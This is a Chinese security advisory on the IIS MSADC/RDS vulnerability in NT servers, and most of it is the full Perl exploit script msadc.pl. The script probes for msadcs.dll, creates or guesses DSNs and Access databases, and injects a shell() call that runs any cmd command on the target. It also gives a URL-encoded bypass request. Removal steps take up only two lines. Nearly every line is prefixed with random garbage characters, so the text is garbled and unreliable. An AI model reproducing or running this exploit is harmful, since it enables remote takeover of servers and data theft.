IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
5K)_w:U
X LIQ].VxIs 涉及程序:
s{j A!T} Microsoft NT server
;-;lM6zP gU NWM^n 描述:
mVh;=>8K 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
BBv+*jj $em'H,*b3 详细:
)S/=5Uc 如果你没有时间读详细内容的话,就删除:
z0 #2?o c:\Program Files\Common Files\System\Msadc\msadcs.dll
,CuWQ'H 有关的安全问题就没有了。
qPN9Put %O<8H7e)V 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
PL3hrI 5 4z9lk^#"X 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
M]/DKo 关于利用ODBC远程漏洞的描述,请参看:
^H{YLO =Vazxt@[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm '
2O@ {8`$~c 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
UT9u? http://www.microsoft.com/security/bulletins/MS99-025faq.asp P8ZmrtQm Y:, rN 这里不再论述。
?:-:m'jdU K}^#VlY9 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
As`=K$^Il. CH;U_b /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
r\Yh'cRW{ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
KLE)+| Jmi,;Af'/ c %Cbq0+2 #将下面这段保存为txt文件,然后: "perl -x 文件名"
qMA-# *f`P7q* #!perl
;ko6igx)+ #
)5gj0#|CG@ # MSADC/RDS 'usage' (aka exploit) script
7')W+`o8eL #
,]W|"NUI # by rain.forest.puppy
G -+!h4p #
"k{so',7z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5gqs"trF # beta test and find errors!
Y$]zba /F(n%8)Yq use Socket; use Getopt::Std;
W I MBwmg getopts("e:vd:h:XR", \%args);
o[iN/ 8&|
o print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
G9yK/g&q KAI2[ gs if (!defined $args{h} && !defined $args{R}) {
+@?'dw print qq~
uLWu. Vx Usage: msadc.pl -h <host> { -d <delay> -X -v }
hpPacN -h <host> = host you want to scan (ip or domain)
y$SUYG'v -d <seconds> = delay between calls, default 1 second
|5O>7~Tp -X = dump Index Server path table, if available
$~W5! m -v = verbose
.g\Oj0Cbxh -e = external dictionary file for step 5
aekke//y k0K$OX*:e Or a -R will resume a command session
p'1/J:EnV !4'F z[RK ~; exit;}
v^8sL` F UeLO `Ug0; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+>K&zS if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
i/1$uQ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]a4+] vLK if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yNP4Ey $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
nReld
:#T if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
vZ"gCf3#?3 m m`#v
g, if (!defined $args{R}){ $ret = &has_msadc;
dIlpo0; F die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
||awNSt bvB',yBZ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=\5WYC . "cmd /c ";
G[yzi $in=<STDIN>; chomp $in;
z+{qQ! $command="cmd /c " . $in ;
,f$P[c k:R\;l5 if (defined $args{R}) {&load; exit;}
1BZ##xV*:G J&,hC%] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
H?J:_1 &try_btcustmr;
_#6Qf Opc szq5n print "\nStep 2: Trying to make our own DSN...";
TnK<Wba &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
V3q`V/\ hRu}P" print "\nStep 3: Trying known DSNs...";
$5)#L$!,] &known_dsn;
k'#3fz\ iC=>wrqY> print "\nStep 4: Trying known .mdbs...";
MyllL@kP &known_mdb;
Hy&Z0W'l @:GqOTN if (defined $args{e}){
]Z8u0YtM) print "\nStep 5: Trying dictionary of DSN names...";
4^l 9d &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4oiE@y&{4 GyN|beou print "Sorry Charley...maybe next time?\n";
c]aU}[s1 exit;
>Wt@O\k 9$;5J ##############################################################################
m1Y a `?(J(H sub sendraw { # ripped and modded from whisker
TZt;-t` sleep($delay); # it's a DoS on the server! At least on mine...
A%Ka)UU+n my ($pstr)=@_;
xw
43P. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
R P<M die("Socket problems\n");
phjM(lmCo if(connect(S,pack "SnA4x8",2,80,$target)){
SYA~I-OYc select(S); $|=1;
BoYY^ih print $pstr; my @in=<S>;
v7wyQx+Q select(STDOUT); close(S);
vjx'yh| return @in;
*$fM}6} } else { die("Can't connect...\n"); }}
[1P_^.Htr B=& [Z2 ##############################################################################
@tm2Y%Y! ZF[W<Q sub make_header { # make the HTTP request
1LRP
R@b^ my $msadc=<<EOT
[,AFtg[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
S*h^7?Bu User-Agent: ACTIVEDATA
if|5v^/ Host: $ip
>,]a>V Content-Length: $clen
N wk Connection: Keep-Alive
)-&@8` PKrG6%
W+ ADCClientVersion:01.06
9u{[e" Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@i>)x*I#AI BNCM{}e --!ADM!ROX!YOUR!WORLD!
%Tp
k1 Content-Type: application/x-varg
3Z9Yzv)A Content-Length: $reqlen
(l{8Ixs ;P)oKx EOT
GEc-<`- ; $msadc=~s/\n/\r\n/g;
fGlvum return $msadc;}
v9:J 55x 20|_wAA5 ##############################################################################
!<:Cd(bM +?U[362> sub make_req { # make the RDS request
%"Um8`]FVg my ($switch, $p1, $p2)=@_;
63=&??4 my $req=""; my $t1, $t2, $query, $dsn;
p;}`PW 8fP2qj0 if ($switch==1){ # this is the btcustmr.mdb query
^7aqe*|vm $query="Select * from Customers where City=" . make_shell();
*P=3Pl?j $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
5S!#^>_ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
7wh4~ pJ/]\>#5 elsif ($switch==2){ # this is general make table query
qr%N/7 $query="create table AZZ (B int, C varchar(10))";
*mp:#' $dsn="$p1";}
D r(0w{5 u'l4=e elsif ($switch==3){ # this is general exploit table query
SqPqL<,e $query="select * from AZZ where C=" . make_shell();
&@oI/i&0B $dsn="$p1";}
lOVcXAe} YFm%W@ elsif ($switch==4){ # attempt to hork file info from index server
oqF?9<Vgc, $query="select path from scope()";
% akW43cE $dsn="Provider=MSIDXS;";}
GuR^L@+ -. U?Jk elsif ($switch==5){ # bad query
Gkuqe3 $query="select";
e7;7TrB. $dsn="$p1";}
:KO&j"[ j;`Q82V\ $t1= make_unicode($query);
zni9 $t2= make_unicode($dsn);
zb9G&'7 $req = "\x02\x00\x03\x00";
hO8xH +; $req.= "\x08\x00" . pack ("S1", length($t1));
1<_][u@ $req.= "\x00\x00" . $t1 ;
1(BLdP3& $req.= "\x08\x00" . pack ("S1", length($t2));
aJ(/r.1G $req.= "\x00\x00" . $t2 ;
Y`j$7!j $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
L'{W|Xb+ return $req;}
Qpmq@iL 0o>C,
` ##############################################################################
{FvFah ]?VVwft sub make_shell { # this makes the shell() statement
~#)hqU' return "'|shell(\"$command\")|'";}
rah"\f2 .?6p~ ##############################################################################
#b[bgxm ,.9 lz sub make_unicode { # quick little function to convert to unicode
VNWB$mM.2 my ($in)=@_; my $out;
NRtH?&7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
r=n{3o+ return $out;}
17KQ 9$HKP9G ##############################################################################
h<%$?h+} 4u}Cki,vOK sub rdo_success { # checks for RDO return success (this is kludge)
5]Rbzg2t my (@in) = @_; my $base=content_start(@in);
akyMW7'3V< if($in[$base]=~/multipart\/mixed/){
bp9RF
d{ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
f9u=h} return 0;}
*zPqXtw!j $}WT"K ##############################################################################
T)I)r239h gf8o~vKX$G sub make_dsn { # this makes a DSN for us
5m~9Vl-& my @drives=("c","d","e","f");
$XQgat@&] print "\nMaking DSN: ";
}2;P`s foreach $drive (@drives) {
b69nj print "$drive: ";
<h:xZtz my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
o^2MfFS "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Yt#;
+*d5 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
F0_w9"3E~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
fU|v[ return 0 if $2 eq "404"; # not found/doesn't exist
V _~lME if($2 eq "200") {
Jd7chIK foreach $line (@results) {
M99ku' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]6Iu\,#J } return 0;}
,VVA^'+ hb;CpA ##############################################################################
D?_K5a&v, "G@K(bnHn sub verify_exists {
l0,VN,$Yl my ($page)=@_;
y5eEEG6 my @results=sendraw("GET $page HTTP/1.0\n\n");
B%\&Q@X return $results[0];}
_\\Al v. ]\^O(BzB ##############################################################################
Nt$4; ]YI9 sub try_btcustmr {
u1X^#K$nu' my @drives=("c","d","e","f");
9o>D
Uc
my @dirs=("winnt","winnt35","winnt351","win","windows");
Im~DK Z4/D38_ foreach $dir (@dirs) {
9~W]D!m, print "$dir -> "; # fun status so you can see progress
+45SKu= foreach $drive (@drives) {
_$AM=?P& print "$drive: "; # ditto
q{&c?l*2 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
oH=?1~e $reqlenlen=length( "$reqlen" );
2om:S+3)2 $clen= 206 + $reqlenlen + $reqlen;
4ekwmw(ox ."ZG0Zg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5c::U= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*90dkJZ. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
hdw.S`~}% #l}Fk)dj ##############################################################################
ljK?2z> W2X`%Tx0 sub odbc_error {
"Y<;R+z my (@in)=@_; my $base;
W|8VE,"7 my $base = content_start(@in);
Q8`V0E\~ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7vZO;FGtG $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\Vx^u}3O $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FQO=}0Hl $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
nlB'@r return $in[$base+4].$in[$base+5].$in[$base+6];}
7~P2q/2E> print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
{*+J`H_G2a print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zn-=mk;W $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
=%~- M CqEbQ>? ##############################################################################
dGk"`/@ }T$BU>z33N sub verbose {
|j0_^:2r= my ($in)=@_;
Q*<KX2O return if !$verbose;
X:s~w#>R print STDOUT "\n$in\n";}
A2gFY} j?u1\<m ##############################################################################
_3%$E.Q i_N8)Z;r sub save {
HFP'b=?`]| my ($p1, $p2, $p3, $p4)=@_;
AI3x,rk# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
d;dT4vx$[M print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
eQuw uT close OUT;}
S'HA] 4k^P1 ##############################################################################
`l]Lvk8O 0qNk.1pv sub load {
h.K"v5I* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ew0)MZ.# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
uEb:uENk'( @p=<IN>; close(IN);
V7U*09
0*5 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
yJ!26 $target= inet_aton($ip) || die("inet_aton problems");
&UH0Tw4 print "Resuming to $ip ...";
/(8"]f/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8WV5'cX if($p[1]==1) {
2?7ID~\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
G AY?F $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9BZ B1oX my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}i^M<A O if (rdo_success(@results)){print "Success!\n";}
*~P| ? D' else { print "failed\n"; verbose(odbc_error(@results));}}
~OX\R"aZBW elsif ($p[1]==3){
!k%
PP if(run_query("$p[3]")){
o}r_+\n print "Success!\n";} else { print "failed\n"; }}
NTq_"`JjZ elsif ($p[1]==4){
j>8ubA if(run_query($drvst . "$p[3]")){
r1
:TM|5L print "Success!\n"; } else { print "failed\n"; }}
<6-73LsHcP exit;}
7HW:;2dL yL
asoh ##############################################################################
v CsE|eMP JfkEJk< sub create_table {
~9o@1TO:v my ($in)=@_;
:2xGfy?? $reqlen=length( make_req(2,$in,"") ) - 28;
i45.2, $reqlenlen=length( "$reqlen" );
X[h{g` $clen= 206 + $reqlenlen + $reqlen;
})]
iN" my @results=sendraw(make_header() . make_req(2,$in,""));
TY%c`Q5 return 1 if rdo_success(@results);
g8E5"jpXx3 my $temp= odbc_error(@results); verbose($temp);
\LJ!X3TZ return 1 if $temp=~/Table 'AZZ' already exists/;
@#hQ0F8 return 0;}
~.x #ic `scW.Vem ##############################################################################
Vf:.C|Z 5)Z=FUupA~ sub known_dsn {
qnyacI # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
4J[zNB] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
v`mB82s "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Q0"?TSY "banner", "banners", "ads", "ADCDemo", "ADCTest");
Mhn1-ma: rF[-4t
% foreach $dSn (@dsns) {
HgW!Q(* print ".";
'V%w{ZiiV next if (!is_access("DSN=$dSn"));
#tg\
bb if(create_table("DSN=$dSn")){
OMk3\FV2Z print "$dSn successful\n";
8Y8bFWuc if(run_query("DSN=$dSn")){
EG^
rh; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.s4vJKK0 print "Something's borked. Use verbose next time\n";}}} print "\n";}
;/V])4= FWeUZI+ ##############################################################################
~m<K5K6 V (t3gNin sub is_access {
DXD+,y\= my ($in)=@_;
,? <;zq $reqlen=length( make_req(5,$in,"") ) - 28;
r{?qvl!q $reqlenlen=length( "$reqlen" );
0 ;LF>+fJ $clen= 206 + $reqlenlen + $reqlen;
XSof{:V my @results=sendraw(make_header() . make_req(5,$in,""));
"uuM#@h my $temp= odbc_error(@results);
U*{0, Ue' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
W2-l_{ return 0;}
A?04,l]y v(Kj6 ' ##############################################################################
0=
bXL!] LkHH7Pd@ sub run_query {
f9UDH8X my ($in)=@_;
Efe(tH2q $reqlen=length( make_req(3,$in,"") ) - 28;
+cXi|Zf $reqlenlen=length( "$reqlen" );
8h)7K/!\ $clen= 206 + $reqlenlen + $reqlen;
mI<s f?. my @results=sendraw(make_header() . make_req(3,$in,""));
Xk!{UxQKQ return 1 if rdo_success(@results);
0x5\{f my $temp= odbc_error(@results); verbose($temp);
<WWZb\"{ return 0;}
%h0BA.r QsKnaRT ##############################################################################
{~]5QKg. FT>>XP8 sub known_mdb {
3d;J"e+? my @drives=("c","d","e","f","g");
wKdWE`|y my @dirs=("winnt","winnt35","winnt351","win","windows");
6K7lQ!#}Q my $dir, $drive, $mdb;
+fM8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
G"3KYBN> \nyqW4nTm # this is sparse, because I don't know of many
%I`'it2d my @sysmdbs=( "\\catroot\\icatalog.mdb",
m["e7>9G "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;uc3_J] "\\system32\\certmdb.mdb",
?#<'w(^%# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\H>Psv{ MV3K'<Y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
kz}Bc
F "\\cfusion\\cfapps\\forums\\forums_.mdb",
)$1j"mV "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
#ZP F&u" "\\cfusion\\cfapps\\security\\realm_.mdb",
J*K=tA "\\cfusion\\cfapps\\security\\data\\realm.mdb",
qYVeFSS "\\cfusion\\database\\cfexamples.mdb",
euV!U}Xr "\\cfusion\\database\\cfsnippets.mdb",
)(.g~Q: "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
+8"8s "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$s
,g&7*- "\\cfusion\\brighttiger\\database\\cleam.mdb",
si~zg\uY "\\cfusion\\database\\smpolicy.mdb",
4W2.K0Ca "\\cfusion\\database\cypress.mdb",
<#"_Qgdix "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
(gE<`b "\\website\\cgi-win\\dbsample.mdb",
6b2h\+AP "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)@U~Li/+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
HLthVc w ); #these are just
=d@)*W 6 foreach $drive (@drives) {
v; ewMiK@E foreach $dir (@dirs){
qmPu D/c foreach $mdb (@sysmdbs) {
)gU:Up24|" print ".";
)bYOy+2g if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
im+g|9@% print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
H_S"4ISS_ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8z|]{XW{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
OcpvY~"Pr } else { print "Something's borked. Use verbose next time\n"; }}}}}
4_2oDcdf {C?$osrr foreach $drive (@drives) {
v5 p`=Z@% foreach $mdb (@mdbs) {
(p'/a.bn print ".";
HC/a if(create_table($drv . $drive . $dir . $mdb)){
~#so4<A`3 print "\n" . $drive . $dir . $mdb . " successful\n";
#~m^RoE if(run_query($drv . $drive . $dir . $mdb)){
Exv!!0Cd^ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
iu{;|E } else { print "Something's borked. Use verbose next time\n"; }}}}
VR_/Vh]@ }
i&m6;>?` v`'Iew } ##############################################################################
h(~of( 4/\Ynb.L sub hork_idx {
}h/7M print "\nAttempting to dump Index Server tables...\n";
Ap"%%D^{: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Q;y4yJ$wI $reqlen=length( make_req(4,"","") ) - 28;
9' H\- $reqlenlen=length( "$reqlen" );
vKPLh $clen= 206 + $reqlenlen + $reqlen;
<WmjjD my @results=sendraw2(make_header() . make_req(4,"",""));
xi<}n# if (rdo_success(@results)){
WSU/Z[\`H my $max=@results; my $c; my %d;
h<'tQGC for($c=19; $c<$max; $c++){
w .M $results[$c]=~s/\x00//g;
#@V<{/;49 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
.2rpQa/h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
yO\bVu5V $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
tNqSCjQ~_c $d{"$1$2"}="";}
wUg=jnY foreach $c (keys %d){ print "$c\n"; }
Z 6WNMQ1: } else {print "Index server doesn't seem to be installed.\n"; }}
#U3q
+d+^
{pre|r\ ##############################################################################
(B@\Dw8^ )VG>6x
sub dsn_dict {
_~>WAm< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
}a UQ#x while(<IN>){
y'oH>l+n $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
\ ux{J next if (!is_access("DSN=$dSn"));
|Q%nnN if(create_table("DSN=$dSn")){
f/.f08 print "$dSn successful\n";
!)J$f_88D if(run_query("DSN=$dSn")){
)"tM[~e` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1B 0[dK2N print "Something's borked. Use verbose next time\n";}}}
n#?y;Y\ print "\n"; close(IN);}
#IqRu:csp V!@6Nv ##############################################################################
wJgH15oB SuV3$-);z sub sendraw2 { # ripped and modded from whisker
x=\W TC sleep($delay); # it's a DoS on the server! At least on mine...
6I_4{ my ($pstr)=@_;
Y2ON!Rno socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y>2#9LA die("Socket problems\n");
U:
< if(connect(S,pack "SnA4x8",2,80,$target)){
J*%IvRg
print "Connected. Getting data";
|Zo36@s open(OUT,">raw.out"); my @in;
&`]T#"> select(S); $|=1; print $pstr;
RA+M. while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
X}QcXc.d close(OUT); select(STDOUT); close(S); return @in;
)*.rl } else { die("Can't connect...\n"); }}
YoQQ , mZ?QtyljT ##############################################################################
vQoZk, 7a/
BS(kq< sub content_start { # this will take in the server headers
&u<%%b| my (@in)=@_; my $c;
d?/g5[ for ($c=1;$c<500;$c++) {
J-klpr# if($in[$c] =~/^\x0d\x0a/){
R$eEW"] if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
7coVl$_Zl else { return $c+1; }}}
zqXDD; w3 return -1;} # it should never get here actually
]-+l.gVFW HYJEz2RF ##############################################################################
O
~[[JAi[ NOAz"m+o sub funky {
04Uyr;y my (@in)=@_; my $error=odbc_error(@in);
7#N= GN if($error=~/ADO could not find the specified provider/){
64'sJc. print "\nServer returned an ADO miscofiguration message\nAborting.\n";
][ 8`}ki 1 exit;}
p gv, Su if($error=~/A Handler is required/){
cxPO O# print "\nServer has custom handler filters (they most likely are patched)\n";
OwDwa~ exit;}
0d0ga^O if($error=~/specified Handler has denied Access/){
k
$# ,^)T print "\nServer has custom handler filters (they most likely are patched)\n";
BryD?/}P)M exit;}}
J'&K `Xi)';p ##############################################################################
),%@X mSEX?so=[ sub has_msadc {
LS-_GslE7\ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
EyV5FWb58 my $base=content_start(@results);
&-vHb return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}4,[oD return 0;}
zSOZr2-
^a ?;_Mx al' ########################
+QSH*(, G 40 l['ER$(7 解决方案:
OSh'b$Z 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ij}{H#0S- 2、移除web 目录: /msadc